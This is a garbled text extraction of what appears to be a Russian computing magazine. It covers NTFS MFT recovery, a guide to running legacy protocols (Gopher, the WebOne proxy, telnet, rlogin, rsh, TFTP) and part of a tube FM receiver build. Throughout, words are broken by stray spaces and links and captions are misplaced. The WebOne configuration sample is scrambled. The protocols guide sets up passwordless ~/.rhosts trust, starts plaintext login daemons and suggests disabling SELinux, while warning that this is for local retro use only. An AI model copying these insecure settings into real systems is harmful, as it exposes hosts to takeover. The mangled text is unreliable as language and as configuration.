исклю чить файл  . Его лег ко узнать, так как он рас положен в середи‐ 
не  раз дела  и  содер жит  копии фай ловых  записей  ,  , 
и  ,  при чем    ссы лает ся  на  себя.  В  рас смат рива емом  при‐ 
мере  наш  спи сок  выг лядит  так:  ,  ,  .
В  гру бом  приб лижении  ему  будет  соот ветс тво вать  сле дующий  спи сок
отрезков:  .
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"В  гру бом  приб лижении"  ска зано  потому,  что  мы  не  зна ем,  в  какой  пос‐ 

ледова тель нос ти рас полага лись эти отрезки в фай ле (порядок рас положе ния
фраг ментов  на  дис ке  далеко  не  всег да  сов пада ет  с  поряд ком  отрезков
в  спис ке  отрезков).  Что  про изой дет,  если  порядок  сбор ки фай ла   ока‐ 
жет ся нарушен? Внут ри MFT все фай ловые записи ссы лают ся друг на дру га
по  сво им  поряд ковым  номерам,  пред став ляющим  собой  индексы  мас сива.
Эти ссыл ки необ ходимы для вос ста нов ления струк туры катало гов, орга низа‐ 
ции жес тких ссы лок (hard links) и еще некото рых слу жеб ных струк тур. Ссыл ки
на родитель ский  каталог дуб лиру ются в индексах и вос ста нав лива ются эле‐ 
мен тарно.  Жес ткие  ссыл ки  теря ются  без воз врат но  (единс твен ный  спо соб
вос ста новить их зак люча ется в пов торении попыт ки сбор ки фай ла   в дру‐ 
гом поряд ке). Одна ко они прак тичес ки ниг де и никак не исполь зуют ся, так что
их потеря не столь уж сущес твен на. По‐нас тояще му туго при ходит ся силь но
фраг менти рован ным  фай лам,  занима ющим  нес коль ко  фай ловых  записей,
рас кидан ных  по  раз ным  фраг ментам  .  Здесь  выруча ет  толь ко  перес‐ 
танов ка  фраг ментов.  К  счастью,  количес тво  ком бинаций  обыч но  быва ет
невели ко,  и про цеду ра вос ста нов ления  занима ет  сов сем нем ного вре мени.
Хорошая  новость  —  начиная  с  NTFS  вер сии  3.1,  в  MFT  номера  фай ловых
записей  хра нят ся  в  явном  виде  (четырех бай товое  поле,  рас положен ное
по сме щению 2Ch от начала фай ловой записи), что дела ет задачу вос ста нов‐ 
ления три виаль ной.

$MFT

$MFT

$MFT

https://www.r-studio.com/
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АДМИН

Да же  сетевые  про токо лы  иног да  уми рают.
Если заг лянуть  в  спи сок номеров про токо‐ 
лов  IP  на  ,  там  мож но  уви деть
как  исто ричес ки  важ ные,  но  дав но
не исполь зуемые про токо лы вро де  ,
так  и  нас толь ко  проч но  забытые,  что
для  них  не  ука зана  даже  рас шифров ка
аббре виату ры.  Что  такое  49/BNA,  нап‐ 
ример? Ник то не вспом нит.

сай те  IANA

CHAOS

Тем не менее мно гие исто ричес кие про токо лы про дол жают жить в прог рам‐ 
мном  обес печении  еще  дол го  пос ле  сво его  пика  популяр ности  и  оста ются
дос тупны ми, если вдруг нуж ны, а иног да и пережи вают неожи дан ный ренес‐ 
санс. В то же вре мя активно раз вива ющиеся про токо лы могут утра чивать сов‐ 
мести мость  и  соз давать  боль ше  неудобств  ста рым  кли ентам,  чем  ста рые
про токо лы — новым. В этой статье мы рас смот рим нес коль ко при меров того,
как свя зать ста рые сис темы с новыми сетями.

GOPHER
  —  пря мой  пред шес твен ник  HTTP  и  World  Wide  Web.  Его  взлет

и падение приш лись на конец 1980‐х годов. Как ни стран но, ни про токол Go‐
pher, ни его эта лон ная реали зация не были откры тыми стан дарта ми и сво бод‐ 
ным  ПО.  Имен но  это  его  и  сгу било:  с  рос том  популяр ности  про токо ла  его
раз работ чик  —  уни вер ситет  Мин несоты  —  решил  тре бовать  с  опе рато ров
сер веров  лицен зион ные  отчисле ния.  Оче вид но,  отчисле ния  ник то  пла тить
не стал,  вмес то это го все переш ли в  зарож дающий ся World Wide Web, пос‐ 
коль ку  HTTP  был  откры тым  стан дартом.  Уни вер ситет  Мин несоты  оду мал ся
и поменял лицен зию на сво бод ную, но было уже поз дно.

Gopher

Ка залось  бы,  о  Gopher  пос ле  это го  спо кой но  мож но  было  забыть,
но забыли не все. Как ни парадок саль но, в кон це 2010‐х чис ло сер веров Go‐
pher  сно ва  начало  рас ти.  Окон чатель ная  победа  Web  и  пос тоян ный  рост
слож ности бра узе ров при вели к тому, что соз дать новый бра узер с нуля поч ти
невоз можно, а сер висы интерне та все боль ше ока зыва ются в руках круп ных
ком паний‐монопо лис тов.  Кто‐то  счи тает,  что  спа сение  кро ется  либо  в  раз‐ 
работ ке новых намерен но лег ковес ных про токо лов вро де  , либо в воз‐ 
вра те к Gopher.

Gemini

В отли чие от новых аль тер натив ных про токо лов, Gopher может пох вастать‐ 
ся  какой‐никакой  эко сис темой.  Энту зиас ты  под держи вают 

,   и даже  .
по иско вые  сис‐ 

темы ре али зации сер веров бес плат ный хос тинг
Иро ния  в  том,  что  смот реть  сов ремен ные  сай ты  Gopher  со  ста рых  сис‐ 

тем — про ще прос того, дос таточ но открыть ссыл ку в любом бра узе ре.
Об ратное невер но: все ныне живые бра узе ры дав но уда лили встро енную

под дер жку  (как  сей час  уда ляют  под дер жку  FTP),  а  потом и  все API  для рас‐ 
ширений,  которые  поз воляли  эту  под дер жку  реали зовать.  Под дер жка  оста‐ 
лась в lynx и w3m. Firefox поз воля ет рас ширени ям работать с сетью и добав‐ 
лять новые про токо лы толь ко пос редс твом  , Google Chrome
не пре дос тавля ет  такой воз можнос ти  вов се. Зас тавля ет  задумать ся: может,
в сло вах нынеш них любите лей Gopher о монопо лии бра узе ров и есть раци‐ 
ональ ное зер но...

внеш них хел перов

HTTPS
Си туация с World Wide Web ров но обратная. Сай ты на сер верах даже с самым
уста рев шим ПО все так же дос тупны с помощью любого сов ремен ного бра‐ 
узе ра, а вот ста рые бра узе ры час то ока зыва ются нес пособ ны выпол нять зап‐ 
росы к сов ремен ным сер верам.

Ни  Gopher,  ни  обыч ный  HTTP  не  под держи вали  шиф рование,  пос коль ку
раз рабаты вались  во  вре мена,  ког да  защищать  было  осо бо  нечего,  а  рас‐ 
простра нение  ПО  для  шиф рования  неред ко  регули рова лось  теми  же  пра‐ 
вила ми,  что  и  экспорт  воору жений.  Сей час  ситу ация  совер шенно  иная,
поэто му обя затель ное перенап равле ние с HTTP на HTTPS дав но ста ло стан‐ 
дартом, а из новых вер сий бра узе ров регуляр но уда ляют под дер жку уста рев‐ 
ших алго рит мов шиф рования и циф ровой под писи во избе жание downgrade
attacks  и  угроз  дол говре мен ной  крип тостой кос ти.  Для  безопас ности
это боль шое пре иму щес тво, но для любите лей рет рокомпь ютин га или вынуж‐ 
денных поль зовате лей сис тем, на которых уже нель зя прос то обно вить бра‐ 
узер, наобо рот, боль шая проб лема.

К  счастью,  для  таких  слу чаев  наш  сооте чес твен ник  Алек сандр  Тауенис
соз дал  про ект  под  наз вани ем  .  Это  спе циали зиро ван ный  прок си,
который в прос тей шем слу чае при нима ет от кли ента зап рос к 

,  выпол няет  зап рос  к    и  воз вра щает  ответ,
как  буд то  никако го  HTPS  там  и  не  было.  Пос коль ку  вза имо дей ствие  меж ду
кли ентом и прок си идет по обыч ному HTTP, под дер жка акту аль ных вер сий TLS
на сто роне кли ента перес тает быть проб лемой — мож но исполь зовать  хоть
Netscape, хоть Mosaic.

WebOne
http://exam‐

ple.com https://example.com

Но  этим  его  воз можнос ти  не  огра ничи вают ся.  Он  так же  под держи вает
тран сля цию  URL,  замену  регуляр ных  выраже ний  в  тек сте  стра ницы  и  даже
тран ско диро вание изоб ражений и видео с помощью внеш них скрип тов.

Для при мера мож но рас смот реть нас трой ку под мены адре са биб лиоте ки
jQuery из стан дар тно го кон фига.

[ : . . ] Edit jquery min js
;                    . .    

   
Redirect all requests to jQuery of versions other than 1 9 1 to

Google's CDN with
;              . .         

  . 
the last version supported by Firefox 3 6 This will not touch

WebDAV traffic
;  :                         

. 
Title RegExp mask of URLs that should be touched by this Set of

edits
;  :    ( )                 

      . 
IgnoreUrl RegExp mask s of URLs which should NOT be touched by

this Set of edits
;  :                  . OnUrl additional URL RegExp masks not listed in section's title
;  :             AddRedirect the destination URL of this redirection rule

= . .IgnoreUrl 1 9 1
=IgnoreUrl webdav

= .OnUrl jquery2 js
= ‐[ ‐ ]*\.[ ‐ ]*\.[ ‐ ]*\. \.OnUrl jquery 0 9 0 9 0 9 min js

=IgnoreUrl webdav
= :// . . / / / / . . / .

.
AddRedirect http ajax googleapis com ajax libs jquery 1 9 1 jquery
min js

Про ект написан на C#, но впол не нор маль но работа ет и на Linux через .NET
core. По умол чанию пос ле запус ка исполня емо го фай ла   он будет слу‐ 
шать на адре се  . Для сво их  вир туалок  в VirtualBox  я про писы‐ 
ваю  в  кон фиге    опцию 

,  что бы  он  слу шал  толь ко  на  внут реннем  интерфей се  (host‐only
adapter).

WebOne
0.0.0.0:8080
/etc/WebOne/webone.conf DefaultHostName=192.

168.56.1

TELNET И RLOGIN
Зна комый всем про токол SSH появил ся в 1995 году и быс тро вытес нил всех
пред шес твен ников, уже прос то потому, что в отли чие от них был безопас ным.
Если быть точ ным, вытес нил из прак тичес кого исполь зования — реали зации
этих про токо лов все еще под держи вают в рабочем сос тоянии и даже вклю‐ 
чают в репози тории пакетов.

В  пакете    рядом  с  впол не  акту аль ными  ping  и  whois  при сутс тву ют
так же  telnetd и  rlogind/rshd. Разуме ется, поль зовать ся ими на прак тике даже
в  локаль ной  сети —  отвра титель ная  идея,  а  выс тавить  их  в  пуб личную  сеть
совер шенно немыс лимо.

inetutils

Од нако,  если  ты  хочешь  залоги нить ся  на  сов ремен ную сис тему или  ско‐ 
пиро вать с нее фай лы на какую‐то древ нюю юникс‐подоб ную ОС, они впол не
могут  при годить ся.  Пос коль ку  rlogin/RSH/RCP  появи лись  аж  в  1981  году,
а Telnet и того рань ше, этот спо соб может сра ботать даже с самыми ста рыми
сис темами, если их уда лось под клю чить к сов ремен ной сети.

В  Fedora  ком понен ты  inetutils  находят ся  в  отдель ных  пакетах.  Нуж но
заметить, что, как мно гие дру гие древ ние демоны, это прог раммы — не «нор‐ 
маль ные» демоны, а сер висы inetd. К счастью, раз работ чики пакетов сде лали
к  ним  фай лы  сер висов  systemd,  так  что  их  запуск  не  пред став ляет  никаких
слож ностей — возить ся с xinetd вруч ную не нуж но.

Пос мотрим на моей Fedora 33. Нач нем с Telnet.

dnf [dmbaturin@careless ~]$ sudo  install telnet‐server telnet 
[dmbaturin@careless ~]$ sudo systemctl start telnet.socket 
[dmbaturin@careless ~]$ telnet localhost 
Trying ::1... 
Connected to localhost. 
Escape character is '^]'.

9Kernel 5.11.14‐200.fc33.x86_64 on an x86_64 ( )
careless login: 

За пус тить rlogind ничуть не слож нее.

dnf [dmbaturin@careless ~]$ sudo  install rsh‐server rsh 
[dmbaturin@careless ~]$ sudo systemctl start rlogin.socket 
[dmbaturin@careless ~]$ rlogin localhost 
Password: 

В отли чие от реали заций SSH, telnetd и rlogind под держи вают толь ко инте рак‐ 
тивные сес сии. Ути литы RSH и RCP вза имо дей ству ют не с  rlogind, а с родс‐ 
твен ным  демоном  —  rshd.  При чем  если  rlogin  хотя  бы  уме ет  спра шивать
пароль (пусть и переда ет его откры тым тек стом), то rshd под держи вает толь‐ 
ко  сов сем  уж  абсур дный  по  нынеш ним  вре менам  спо соб  «аутен тифика‐ 
ции» — файл  .~/.rhosts

   $ echo "localhost dmbaturin" > ~/.rhosts 

Да,  что бы  успешно  исполь зовать    или  ,  дос таточ но  знать    поль‐ 
зовате ля и ука зать вер ное имя хос та, ничего дру гого знать не надо.

rcp rsh имя

$ rsh localhost uname
Linux 

$ rcp localhost:/tmp/test . 

INFO

Пог ружать ся  в  исто рию  и  экспе римен тировать
с  RSH/RCP  луч ше  все го  на  машине  с  отклю чен‐ 
ным SELinux. Мож но, конеч но, выс тавить кон текст
фай лу  коман дой 
и  дать  rshd  раз решение  на  ,
но  про ще  вре мен но  про писать 
в опции заг рузки ядра.

restorecon ‐R  ~/.rhosts
sys_resource

selinux=0

TFTP
TFTP (Trivial File Transfer Protocol) — про токол‐дол гожитель, который впер вые
появил ся  в  1981  году  ( )  и  до  сих  пор  акту ален.  Стан дар тным  спо‐ 
собом заг рузки по сети оста ется PXE, который исполь зует имен но этот про‐ 
токол  для  переда чи  обра за  ОС.  Тех ничес ки  сов ремен ные  сис темы  с  UEFI
впол не  мог ли  бы  себе  поз волить  встро енный  кли ент  HTTPS,  но  PXE  так же
тре бует соот ветс тву ющей опции DHCP для переда чи адре са и пути к фай лу,
так  что  поменять  этот  стан дарт  не  так  прос то.  К  тому  же  все  и  так  неп лохо
работа ет.

RFC  783

Ну,    неп лохо  работа ет.  К  сожале нию,  некото рые  про шив ки
материн ских  плат  и  встра иваемых  устрой ств  реали зуют  TFTP  некор рек тным
или прос то стран ным обра зом и отправ ляют кри вые пути к фай лам, которые
сер вер не понима ет. Чаще все го ока зыва ется, что обновле ний этой про шив‐ 
ки нет и не пла ниро валось.

обыч но

В таких слу чаях полез но пом нить, что некото рые реали зации сер вера TFTP
уме ют  тран сли ровать  зап росы. В  час тнос ти,    за  авторс твом  извес‐ 
тно го раз работ чика ядра Linux Ган са Петера Анви на под держи вает опцию 

.

tftpd‐hpa
‐‐

mapfile <file>
Син таксис замен напоми нает син таксис sed. Нап ример, мож но заменить

( ) все ( ) обратные сле ши пря мыми.r g

   rg \\ /

ЗАКЛЮЧЕНИЕ
Про токо лы  меня ются,  теря ют  сов мести мость  и  ухо дят  в  прош лое,  но  если
задать ся  целью,  то  вза имо дей ство вать  с  новыми  сер верами  со  ста рых
железок или соф та в вир туал ках впол не воз можно. Наде юсь, все эти инс тру‐ 
мен ты  помогут  тебе  в  раз вле чени ях  с  рет рокомпь ютин гом  или  в  миг рации
со ста рых сис тем.

mailto:daniil@baturin.org
https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml
https://en.wikipedia.org/wiki/Chaosnet
https://tools.ietf.org/html/rfc1436
https://gemini.circumlunar.space/
http://gopher//gopher.floodgap.com/1/v2
https://github.com/gophernicus/gophernicus
https://tilde.club/wiki/gopher.html
https://gopher.floodgap.com/overbite/
https://github.com/atauenis/webone
https://www.gnu.org/software/inetutils/
https://tools.ietf.org/html/rfc783
https://linux.die.net/man/8/tftpd


ПО-НОВОМУ
ЛАМПЫ
СОБИРАЕМ ЛАМПОВЫЙ ПРИЕМНИК
С СОВРЕМЕННЫМ УПРАВЛЕНИЕМ

Candidum
duospirit@gmail.com

GEEK

Лам повые  ради опри емни ки —  это  не  прос то  источник  теп‐ 
лого лам пового (в пря мом смыс ле) зву ка, но и отличное раз‐ 
вле чение  для  энту зиас тов  и  тех ногиков,  которое  поз воля ет
эффектив но избавлять ся от  избытков  сво бод ного  вре мени.
Пос коль ку  с  эпо хи  рас цве та  лам повых  при емни ков  прош ло
уже очень мно го лет, такие устрой ства мож но осов ременить
и  сде лать  более  высоко тех нологич ными.  В  этой  статье  я
под робно рас ска жу как.

INFO

Год назад я уже собирал лам повый FM‐при емник
со  счет ным  детек тором,  и  работа ет  он  впол не
при лич но.  Про читать  об  этой  исто рии  мож но
в  статье  «

».
Лам повый  сиг нал.  Собира ем  FM‐ради‐ 

опри емник на лам пах

Пре дыду щий  при емник  я  слу шал  на  про тяже нии  все го  корона вирус ного
каран тина. Одна ко аппе тит при ходит во вре мя еды, и однажды мне надо ело
кру тить две руч ки для нас трой ки на стан цию и ори енти ровать ся на помет ки,
пыта ясь пой мать нуж ную час тоту. Захоте лось удобс тва: на дво ре XXI век. Где
инди кация час тоты, где элек трон ная перес трой ка, где вот это всё? И тут мне
как раз попались под руку инди като ры Z5900!

При емник в сбо ре

ПОСТАНОВКА ЗАДАЧИ
О  ста били зации  час тоты  и  инди кации  я  уже  написал,  это  понят но.  Но  есть
еще  один  важ ный  момент:  у  при емни ков  с  низ кой  ПЧ  име ется  труд ноиз‐ 
лечимая проб лема — зер каль ный канал. А про явля ет себя эта проб лема, ког‐ 
да  надо  при нять  сла бую  стан цию,  рядом  с  которой  находят ся  две  силь ные.
В  резуль тате мы  слы шим  сиг нал  силь ной  стан ции,  задева ющий  зер каль ный
канал.

Эф фектив но  бороть ся  с  этим  мож но  толь ко  повыше нием  ПЧ,  нап ример
до стан дар тно го зна чения 10,7 МГц, а с такой ПЧ уже сле дует исполь зовать
дроб ный  детек тор.  На  том  и  порешим.  В  ито ге  вырисо выва ется  при емник
с  циф ровым  гетеро дином,  инди каци ей  и  клас сичес ким  (поч ти)  лам повым
трак том.

КОНСТРУКЦИЯ
Так как будет исполь зована дос таточ но высокая ПЧ, конс трук ции сле дует уде‐ 
лить  осо бое  вни мание. Мон таж  про изво дит ся  на  алю мини евом шас си  раз‐ 
мерами 260 × 70 × 50 мм. Впро чем, кор пус мож но сде лать и поболь ше, тог да
будет  мень ше  воз ни  с  плот ным  мон тажом.  Кор пус  набор ный  и  сос тоит
из пяти алю мини евых панелей тол щиной 1,2 мм. Панели соеди няют ся меж ду
собой  алю мини евы ми  угол ками  на  вин тах  M3.  Луч ше,  конеч но,  сог нуть
из  цель ного  лис та  п‐образное шас си  и  прик рутить  к  нему боковин ки,  будет
и проч нее, и сим патич ней, но у меня под рукой не ока залось лис тогиба.

Мое любимое орг стек ло, к нес частью, для ана лого вой час ти совер шенно
неп римени мо,  так  как  лам пы  гре ются,  а  ВЧ‐бло ки  тре буют  экра ниро вания.
Весь мон таж дол жен быть выпол нен по воз можнос ти жес тко с минималь ной
дли ной соеди нений. И самый прос той спо соб выпол нить эти  тре бова ния —

.ман хэттен ский мон таж
Дан ный вид мон тажа напоми нает наши макет ные пла ты и 
.  Детали  мон тиру ются  на  «пятач ках»,  вырезан ных  из  фоль гирован ного

гетинак са  и  прик леен ных  к  шас си,  все  дела ется  быс тро  и  работа ет  впол не
надеж но. В качес тве «пятач ков» я исполь зовал квад ратики раз мером 
и  10  ×  10  мм.  Нарезать  такие  квад ратики  удоб но  цир куляр кой  с  фре зой
по метал лу, ей же мож но нарезать алю миний.

ме тоди ку Жутя‐ 
ева

5 × 5 мм

WARNING

Че лове чес кие  кос ти  по  твер дости  не  слиш ком
отли чают ся  от  алю миния.  Его  цир куляр ка  режет
дос таточ но  лег ко,  поэто му,  если  зазевать ся,
мож но уко ротить пару паль цев. Будь вни мате лен
и осто рожен.

Сам  кор пус  исполь зует ся  как  общий  про вод,  а  для  более  удоб ной  пай ки
к нему прик ручены полосы из мед ной фоль ги. Кон денса торы в цепях питания
и  раз делитель ные  кон денса торы  дол жны  быть  рас счи таны  минимум
на 200 В при нап ряжении питания 180 В, а луч ше взять еще боль ший запас.

От дель ного  упо мина ния  зас лужива ют  кон турные  кон денса торы.  Дело
в том, что при работе лам пы замет но наг рева ются, а с ними — кор пус при‐ 
емни ка  и,  соот ветс твен но,  кон денса торы  в  кон турах.  Из‐за  это го  час тота
уплы вает.  Что бы  такого  не  про исхо дило,  надо  исполь зовать  кон денса торы
с  малым  тем ператур ным  коэф фици ентом  емкости  (ТКЕ),  к  таким  отно сят ся
кон денса торы с диэлек три ком NP0. В эту  катего рию мож но отнести и SMD‐
кон денса торы.

Контурные катушки
Кон турные  катуш ки  в  лам повом супер гетеро дине — это  самый проб лемный
воп рос.  Осо бен но  сей час,  ког да  элек тро ника  отош ла  от  резонан сных  схем
в поль зу широко полос ных. Тем не менее на Али мож но най ти кар касы с подс‐ 
тро ечни ками по очень демок ратич ной цене, и я их  уже исполь зовал рань ше
в  .КВ‐при емни ке

По это му, что бы не изоб ретать велоси пед, мы их при меним и здесь. Что же
каса ется экра нов,  то их мы изго товим самос тоятель но, бла го это нес ложно.
Катуш ка  впа ивает ся  на  неболь шую  плат ку  из  гетинак са,  из  жес ти  дела ется
неболь шая  коробоч ка, и в нее впа ивает ся плат ка с  катуш кой. Вмес то жес ти
луч ше взять медь, но и жесть работа ет впол не себе неп лохо, а глав ное, она
более дос тупна. В вер хней час ти экра на про делы вает ся отвер стие для подс‐ 
трой ки катуш ки.

Кон тур ПЧ и экран

Ес ли есть воз можность взять кар касы кон туров ПЧ от лам пового телеви зора
или  при емни ка,  то  это  тоже очень  хороший  вари ант. Под робнее о  катуш ках
мы  погово рим  при  обсужде нии  УПЧ  и  детек тора.  В  резуль тате  дол жно
получить ся что‐то вро де того, что ты можешь уви деть на кар тинках ниже.

Вид свер ху

Вид сбо ку

Вид сни зу

СХЕМА
Блок‐схе му супер гетеро дина мы уже обсу дили ранее вдоль и поперек и даже
выяс нили,  .  Здесь  все  будет  при мер но  так  же:  УВЧ,  сме‐ 
ситель, УПЧ, детек тор, УНЧ. Ниже пред став лена схе ма УКВ‐бло ка и УПЧ.

по чему  он  «супер»

УКВ‐блок и УПЧ

УКВ-блок
Ис торичес ки  сло жилось,  что  в  лам повых  при емни ках  УВЧ‐сме ситель
и гетеро дин выпол нялся отдель ным бло ком. Это свя зано с тем, что УКВ‐часть
при емни ка  нуж далась  в  тща тель ном  экра ниро вании  и  тре бова ла  более
качес твен ного мон тажа, поэто му про мыш леннос ти так было удоб нее.

Кро ме  того,  там  при менял ся  ряд  спе цифи чес ких  схе мотех ничес ких
решений,  нап равлен ных  на  подав ление  паразит ного  излу чения  в  антенну.
В нашем слу чае все про ще, пос коль ку мы исполь зуем в качес тве гетеро дина
син тезатор.

УПЧ  и  пре обра зова тель  соб раны  на  лам пе  6Н3П,  про мыш ленные
УКВ‐бло ки обыч но на ней и  собира лись. При мене ние  три одов обус ловле но
их низ ким уров нем шумов, вмес то лам пы 6Н3П мож но при менить 6Н23П или,
на  худой  конец,  дру гой  двой ной  три од.  В  сети  есть  при меры  исполь‐ 
зования 6Н1П и даже 6Н2П.

Вы ход  син тезато ра  50‐омный,  поэто му  его  сиг нал  удоб но  подавать
в катод ную цепь. Для это го катод ное соп ротив ление автосме щения раз бива‐ 
ется на две час ти — 47 Ом для под клю чения син тезато ра и 1 кОм для обес‐ 
печения необ ходимо го сме щения.

Вер хняя  часть  делите ля  шун тиру ется  кон денса тором.  Перес трой ка  кон‐ 
тура  ПЧ  выпол няет ся  варика пом  BB910.  Катуш ка  кон тура  бес каркас ная,
намота на про водом диамет ром 1,5 мм на оправке диамет ром 12 мм и содер‐ 
жит  четыре  вит ка.  Выход ной  кон тур  ПЧ  слу жит  для  выделе ния  час тоты  ПЧ
и сог ласова ния соп ротив ления с керами чес ким филь тром. Кон турная катуш ка
содер жит двад цать  вит ков про вода диамет ром 0,2 мм,  катуш ка  свя зи мота‐ 
ется поверх кон турной и содер жит десять вит ков того же про вода.

В пре обра зова теле для при ема необ ходимо го сиг нала теоре тичес ки мож‐ 
но  исполь зовать  две  час тоты  гетеро дина,  выше  сиг нала  на  величи ну  ПЧ
и  ниже  на  час тоту  ПЧ.  В  дан ном  слу чае  инъ екция  сни зу  работа ет  гораз до
эффектив нее, поэто му ее и будем исполь зовать. При при еме мощ ной стан‐ 
ции на выходе пре обра зова теля получа ется сиг нал в нес коль ко мил ливольт.

Мон таж высоко час тотной час ти выг лядит сле дующим обра зом.

Мон таж высоко час тотной час ти

УПЧ
УПЧ — это глав ный блок при емни ка. Боль шая часть харак терис тик опре деля‐ 
ется имен но УПЧ. И в слу чае ЧМ‐при емни ка  к УПЧ предъ явля ются про тиво‐ 
речи вые  тре бова ния.  С  одной  сто роны,  нуж на  полоса  про пус кания  поряд‐ 
ка 300 кГц, а с дру гой сто роны, нуж ны дос таточ но кру тые ска ты АЧХ.

Клас сичес ки эту проб лему решали схе мами с рас пре делен ной селек цией,
где  в  каж дом  кас каде  сто ял  полосо вой филь тр,  сос тоящий  из  двух  сла бос‐ 
вязан ных  кон туров,  и  это  луч ший  вари ант.  Одна ко  ока залось,  что  соз дать
такой  филь тр,  исполь зуя  име ющиеся  у  меня  кар касы,  дос таточ но  слож но.
И  глав ная  проб лема  здесь — регули ров ка  свя зи меж ду  кон турами,  которая
очень силь но вли яет на АЧХ. Собс твен но, из‐за проб лемы с плав ной регули‐ 
ров кой свя зи я и отка зал ся от это го решения в поль зу схе мы с сос редото чен‐ 
ной  селек цией,  что  счи тает ся  более  сов ремен ным  решени ем.  Говоря  кон‐ 
крет нее, мы пос тавим на вход УПЧ керами чес кий филь тр на 10,7 МГц. Этим
мы решим проб лему кру тиз ны ска тов АЧХ и с ходу получим тре буемую изби‐ 
ратель ность по сосед нему каналу.

К  нес частью,  у  керами чес кого  филь тра  низ кое  вход ное  соп ротив ление,
поэто му его необ ходимо сог ласовать с выход ным соп ротив лени ем пре обра‐ 
зова теля  час тоты. Для  это го мы  исполь зуем  индуктив ную  связь  с  выход ным
кон туром  пре обра зова теля.  С  сог ласова нием  выход ного  соп ротив ления
проб лем  нет.  Конеч но,  у  керами чес кого  филь тра  неидеаль ная  АЧХ  и  дос‐ 
таточ но боль шое затуха ние сиг нала, но это неболь шая пла та за прос тоту.

Схе ма  с  оди ноч ными  кон турами —  не  самое  хорошее  решение,  но  она
впол не  работос пособ на.  Еще  одна  проб лема  свя зана  со  склон ностью  уси‐ 
лите ля  к  самовоз бужде нию,  осо бен но  это  каса ется  УПЧ,  пред став ленно го
выше.  Из‐за  этой  неп рият ной  осо бен ности,  даже  ког да  самовоз бужде ние
не наб людалось, АЧХ уси лите ля менялась в зависи мос ти от прог рева и силы
вход ного  сиг нала  (рос ло  уси ление,  но  заужа лась  полоса).  И  это  все  отра‐ 
жалось на зву чании.

Ле чилось  это  тща тель ной  нас трой кой  в  прог ретом  сос тоянии.  Поэто му
от схе мы с емкос тной связью я отка зал ся, и финаль ная модифи кация содер‐ 
жит УПЧ с индуктив ной связью. В нем получа ется нес коль ко ниже уси ление,
зато он гораз до ста биль нее в работе.

Схе ма УПЧ с индуктив ной связью

Собс твен но,  фун дамен таль ная  проб лема  с  пос трой кой  лам пового  УПЧ
по  схе ме  с  сос редото чен ной  селек цией  зак люча ется  в  том,  что  на  час тотах
выше пары мегагерц нерезо нан сные  (апе риоди чес кие) лам повые уси лите ли
не работа ют. И имен но поэто му такая проб лема у нас не воз никала при пос‐ 
трой ке  .  Там мы, не мудрствуя лукаво, исполь зовали
апе риоди чес кие кас кады.

при емни ка с низ кой ПЧ

Здесь  такой  номер  не  про катит,  поэто му  от  кон туров  уйти  не  получит ся.
Про ще  все го  собирать  резонан сный  УПЧ  на  пен тодах,  это  поз волит  нам
не  стол кнуть ся  с  осо бен ностя ми  три одов  на  высоких  час тотах.  Упро щен ная
фор мула рас чета коэф фици ента уси ления резонан сно го кас када на пен тоде
выг лядит как

K = SrQ

где   — кру тиз на лам пы (МA/В),   — харак терис тичес кое соп ротив ление кон‐ 
тура,   — доб ротность кон тура.

S r
Q

Ре аль но изме ряемый коэф фици ент  уси ления выходит замет но ниже,  чем
пред ска зыва ет  это  выраже ние.  Но  для  наших  при кидок  огра ничим ся  лишь
этой  фор мулой,  из  которой  оче вид но,  что  лам пу  луч ше  взять  с  кру тиз ной
поболь ше  и  харак терис тичес кое  соп ротив ление  поболь ше.  А  вот  с  доб‐ 
ротностью  слож нее,  так  как  с  рос том  доб ротнос ти  пада ет  полоса  про пус‐ 
кания, поэто му боль шая доб ротность нам будет толь ко мешать. Впро чем, ее
мож но сни зить, зашун тировав кон тур резис тором, или исполь зовать вза имно
расс тро енные кон туры.

В ито ге пос ле ряда экспе римен тов я при шел к катуш ке ПЧ‐кон тура, содер‐ 
жащей  45  вит ков  про вода  0,12  мм  и  к  емкости  кон турно го  кон денса‐ 
тора  10  пФ.  Харак терис тичес кое  соп ротив ление  такого  кон тура  око‐ 
ло 700 Ом, а при шун тирова нии его резис тором в 15 К доб ротность получа‐ 
ется  око ло  10. С  таким  кон туром от  одно го  кас када  на  лам пе  6AU6  (6Ж4П)
мож но получить уси ление око ло 20 и полосу про пус кания око ло 1 МГц.

Это  для  УПЧ  с  емкос тной  связью.  В  УПЧ  с  индуктив ной  связью  катуш ка
мота ется в два про вода и ее индуктив ность ока зыва ется мень ше при том же
количес тве вит ков (тут мы упи раем ся в раз меры кар каса). Поэто му кон турные
кон денса торы  уже  тре буют ся  на  33 Р,  а  харак терис тичес кое  соп ротив ление
око ло 400 Ом. Уси ление такого кас када получа ется око ло 12.

В  УПЧ  при мене ны  япон ские  лам пы  6AU6  от  NEC,  но  их  сме ло  мож но
заменить  на  наши  6Ж4П.  Похожих  резуль татов  мож но  дос тичь  с  лам‐ 
пами  6Ж1П,  6Ж1Б,  6К4П,  6Ж5П,  чуть  хуже  с  6Ж2П,  но  надо  подоб рать
номина лы деталей, что бы выс тавить пас пор тный режим.

Ес ли взять лам пу пок руче,  типа 6Ж52П, мож но дог нать уси ление кас када
до сот ни, но она попалась мне под руку слиш ком поз дно, да и ест она элек‐ 
три чес тва, как три 6AU6. Замора чивать ся с АРУ я тоже не стал, осо бен но учи‐ 
тывая  скром ный  коэф фици ент  уси ления  УПЧ,  а  вот  огра ничи тель  при дет ся
очень даже к мес ту.

Ограничитель и дробный детектор
Дроб ный детек тор — шту ка дос таточ но хит рая, и прос то объ яснить на паль‐ 
цах  его  работу  не  вый дет.  Но  этот  самый  прин цип  осно ван  на  изме нении
фазы  колеба ний  в  двух  свя зан ных  кон турах.  Так,  при  нас трой ке  в  резонанс
во вто ром кон туре фаза сме щена на 90°, а при расс трой ке сдвиг фазы изме‐ 
няет ся в боль шую или мень шую сто рону в зависи мос ти от час тоты.

Та ким  обра зом,  скла дывая  исходный  (син фазный)  сиг нал  с  сиг налом,
сдви нутым по фазе на угол, про пор циональ ный изме нению час тоты исходно‐ 
го сиг нала, мы перехо дим от час тотной модуля ции к ампли туд ной. А осталь‐ 
ная часть схе мы — уже воп рос кон крет ной реали зации. Под робнее об этом
мож но почитать   или  .тут тут

На этом прин ципе работа ют час тотный дис кри мина тор и дроб ный детек‐ 
тор.  Дроб ный  детек тор  име ет  некото рое  пре иму щес тво,  так  как  он  менее
чувс тви телен  к  паразит ной  ампли туд ной  модуля ции.  Имен но  его  я  и  при‐ 
